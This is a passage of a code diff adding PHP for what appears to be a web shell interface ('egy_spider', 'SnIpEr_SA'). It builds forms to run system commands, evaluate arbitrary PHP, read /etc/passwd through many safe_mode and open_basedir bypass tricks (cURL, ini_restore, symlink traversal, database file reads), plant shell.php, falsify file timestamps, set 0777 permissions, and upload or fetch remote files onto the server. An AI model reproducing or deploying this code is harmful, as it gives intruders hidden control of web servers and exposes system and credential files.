+ if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; }
+ else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} }
+ else { echo "[-] ERROR! Can't write in dump file"; }
+ }
+ }
+
+
+echo "
";
+echo "";
+echo "
";
+echo "";
+
+
+function div_title($title, $id)
+{
+ return ''.$title.' ';
+}
+function div($id)
+ {
+ if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '';
+ $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39');
+ if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '
';
+ return '
';
+ }
+
+if(!$safe_mode){
+echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.'
'.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
+echo sr(15,"
".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.'
'.$table_end1.$fe;
+}
+echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
+echo sr(15,"
".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.'
'.$table_end1.$fe;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+if($unix && @function_exists('touch')){
+echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"])))
+.ws(4)."".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow." "
+.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
+echo sr(15," or set Day".$arrow." ",
+'
+
+1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+ '
+.ws(4)."Month".$arrow." "
+.'
+
+January
+February
+March
+April
+May
+June
+July
+August
+September
+October
+November
+December
+ '
+.ws(4)."Year".$arrow." "
+.'
+
+1998
+1999
+2000
+2001
+2002
+2003
+2004
+2005
+2006
+2007
+2008
+2009
+2010
+ '
+.ws(4)."Hour".$arrow." "
+.'
+
+01
+02
+03
+04
+05
+06
+07
+08
+09
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+ '
+.ws(4)."Minute".$arrow." "
+.'
+
+1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+ '
+.ws(4)."Second".$arrow." "
+.'
+
+1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+ '
+.in('hidden','cmd',0,'touch')
+.in('hidden','dir',0,$dir)
+.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+$select='';
+if(@function_exists('chmod')){$select .= "CHMOD ";}
+if(@function_exists('chown')){$select .= "CHOWN ";}
+if(@function_exists('chgrp')){$select .= "CHGRP ";}
+if($unix && $select){
+echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
+echo @sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($_SERVER["SCRIPT_FILENAME"]))).ws(2)."".$lang[$language.'_text68'].$arrow." "."".$select." ".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+if(!$safe_mode){
+$aliases2 = '';
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id5555').$table_up2.div('id5555').$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id50').$table_up2.div('id50').$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+
+
+if(!$safe_mode && $unix){
+echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;$tempdir )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.''.$table_end1.$fe;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id800').$table_up2.$font;
+echo "".div('id800')."";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"egy_spider.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo " ".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "
";
+echo $table_end1.$fe;
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text200'],'id520').$table_up2.div('id520').$ts;
+echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','snn',85,'/etc/passwd').in('hidden','cmd',0,'copy').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text300'],'id500').$table_up2.div('id500').$ts;
+echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','SnIpEr_SA',85,'/etc/passwd').in('hidden','cmd',0,'cURL').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text203'],'id510').$table_up2.div('id510').$ts;
+echo sr(15,"".$lang[$language.'_text202'].$arrow." ",in('text','ini_restore',85,'/etc/passwd').in('hidden','cmd',0,'ini_restore').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text224'],'id800').$table_up2.div('id800').$ts;
+echo sr(15,"".$lang[$language.'_text202'].$arrow." ","/etc/passwd ".in('hidden','cmd',0,'plugin').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text220'],'id900').$table_up2.div('id900').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','sym1p2',50,(!empty($_POST['sym1p2'])?($_POST['sym1p']):("/../../../"))).in('text','sym1p',50,(!empty($_POST['sym1p'])?($_POST['sym1p']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text222'],'id980').$table_up2.div('id980').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'sym2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text204'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"".$lang[$language.'_text205'].$arrow." ",in('text','log',96,(!empty($_POST['log'])?($_POST['log']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'Paralyzing been planted and you can usefilename.php?ss=http://shell.txt?').ws(4).in('submit','submit',0,$lang[$language.'_butt65']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text207'],'id801').$table_up2.div('id801').$ts;
+echo sr(15,"".$lang[$language.'_text206'].$arrow." ",in('text','glob',85,'/etc/').in('hidden','cmd',0,'glob').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text209'],'id5505').$table_up2.div('id5505').$ts;
+echo sr(15,"".$lang[$language.'_text206'].$arrow." ",in('text','root',85,'/etc/').in('hidden','cmd',0,'root').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te.''.$table_end1.$fe;
+echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text151'],'id1221').$table_up2.div('id1221').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test_5_2_6',85,(!empty($_POST['test_5_2_6'])?($_POST['test_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text161'],'id12211').$table_up2.div('id12211').$ts;
+echo "";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_5_2_6',85,(!empty($_POST['test2_5_2_6'])?($_POST['test2_5_2_6']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2_5_2_6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+
+
+
+
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text162'],'id9820').$table_up2.div('id9820').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'test_5_2_4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text163'],'id9820').$table_up2.div('id9820').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_perl').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text144'],'id40').$table_up2.div('id40').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test19_md',15,(!empty($_POST['test19_md'])?($_POST['test19_md']):("mysqli"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test19_ml',15,(!empty($_POST['test19_ml'])?($_POST['test19_ml']):("root"))).ws(4)."".$lang[$language.'_text39'].$arrow." ".in('text','test19_mp',15,(!empty($_POST['test19_mp'])?($_POST['test19_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test19_port',15,(!empty($_POST['test19_port'])?($_POST['test19_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test19_file',96,(!empty($_POST['test19_file'])?($_POST['test19_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test19').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id13').$table_up2.div('id13').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text170'],'id2221').$table_up2.div('id2221').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','egy_4_2_0',96,(!empty($_POST['egy_4_2_0'])?($_POST['egy_4_2_0']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_4_2_0').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
+echo sr(15,"".$lang[$language.'_text117'].ws(2).$lang[$language.'_text60'].$arrow." ",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',96,(!empty($_POST['test_global'])?($_POST['test_global']):($dir))).in('hidden','cmd',0,'safe_dir').in('hidden','glob',0,'glob').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+$select_n_rlph = "[ 1 ] (<<0,01 sec) [ 2 ] (<0,01 sec) ".
+"[ 3 ] (<1 sec (default)) ".
+"[ 4 ] (<10 sec) [ 5 ] (>100 sec (danger)) [ 6 ] (>>100 sec (danger)) ";
+echo $fs.$table_up1.div_title($lang[$language.'_text145'],'id41').$table_up2.div('id41').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',30,(!empty($_POST['dir_rlph'])?($_POST['dir_rlph']):($dir))).ws(2).''.$lang[$language.'_text55'].' '.ws(2).in('text','end_rlph',6,(!empty($_POST['end_rlph'])?($_POST['end_rlph']):('.php'))).ws(2).in('hidden','cmd',0,'safe_dir').ws(2).''.$lang[$language.'_text146'].' '.ws(2).$select_n_rlph.ws(2).in('hidden','realpath',0,'realpath').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):($tempdir.'test.zip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
+echo sr(15,"".$lang[$language.'_text116'].$arrow." ",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):($tempdir.'test.bzip'))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up3.div('id27').$ts;
+echo sr(15,"".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow." ",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
+echo sr(15,"".$lang[$language.'_text125'].$arrow." ",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):(" phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
+echo sr(15,"".$lang[$language.'_text125'].$arrow." ",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):(" phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text133'],'id39').$table_up2.div('id39').$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','test18_file2',96,(!empty($_POST['test18_file2'])?($_POST['test18_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test18'));
+echo sr(15,"".$lang[$language.'_text125'].$arrow." ",in('text','test18_file1',96,(!empty($_POST['test18_file1'])?($_POST['test18_file1']):(" phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
+echo sr(15,"".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow." ",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
+echo sr(15,"".$lang[$language.'_text125'].$arrow." ",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):(" phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
+echo sr(15,"".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow." ",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
+echo "".$ts;
+echo sr(20,"".$lang[$language.'_text30'].$arrow." ",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
+echo $te." ".$ts;
+echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
+echo $te." ";
+echo $te.''.$table_end1;
+}
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
+echo "".$ts;
+echo sr(20,"".$lang[$language.'_text4'].$arrow." ",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
+echo $te." ".$ts;
+echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
+echo $te." ";
+echo $te.''.$table_end1;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text171'],'id98200').$table_up2.div('id98200').$ts;
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'egy_5_2_3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.''.$table_end1.$fe;
+
+
+
+
+{
+echo "";
+echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile0',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+{
+echo " ";
+echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
+echo "".$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile1',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile2',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile3',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile4',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile5',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile6',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile7',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile8',35,''));
+echo $te." ".$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile9',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile10',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile11',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile12',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile13',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile14',35,''));
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile15',35,''));
+echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te." ";
+echo $te.''.$table_end1.$fe;
+}
+
+
+
+
+{
+ echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
+ echo sr(15,"".$lang[$language.'_text16'].$arrow." ",$select_downloaders.in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+ echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir.'/download.file').ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+ echo $te.''.$table_end1.$fe;
+}
+
+
+echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
+echo sr(15,"".$lang[$language.'_text59'].$arrow." ",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
+$arh = $lang[$language.'_text92'];
+if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
+if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
+if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
+echo sr(15,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
+echo $te.''.$table_end1.$fe;
+
+
+{
+echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."".$fs."".$ts;
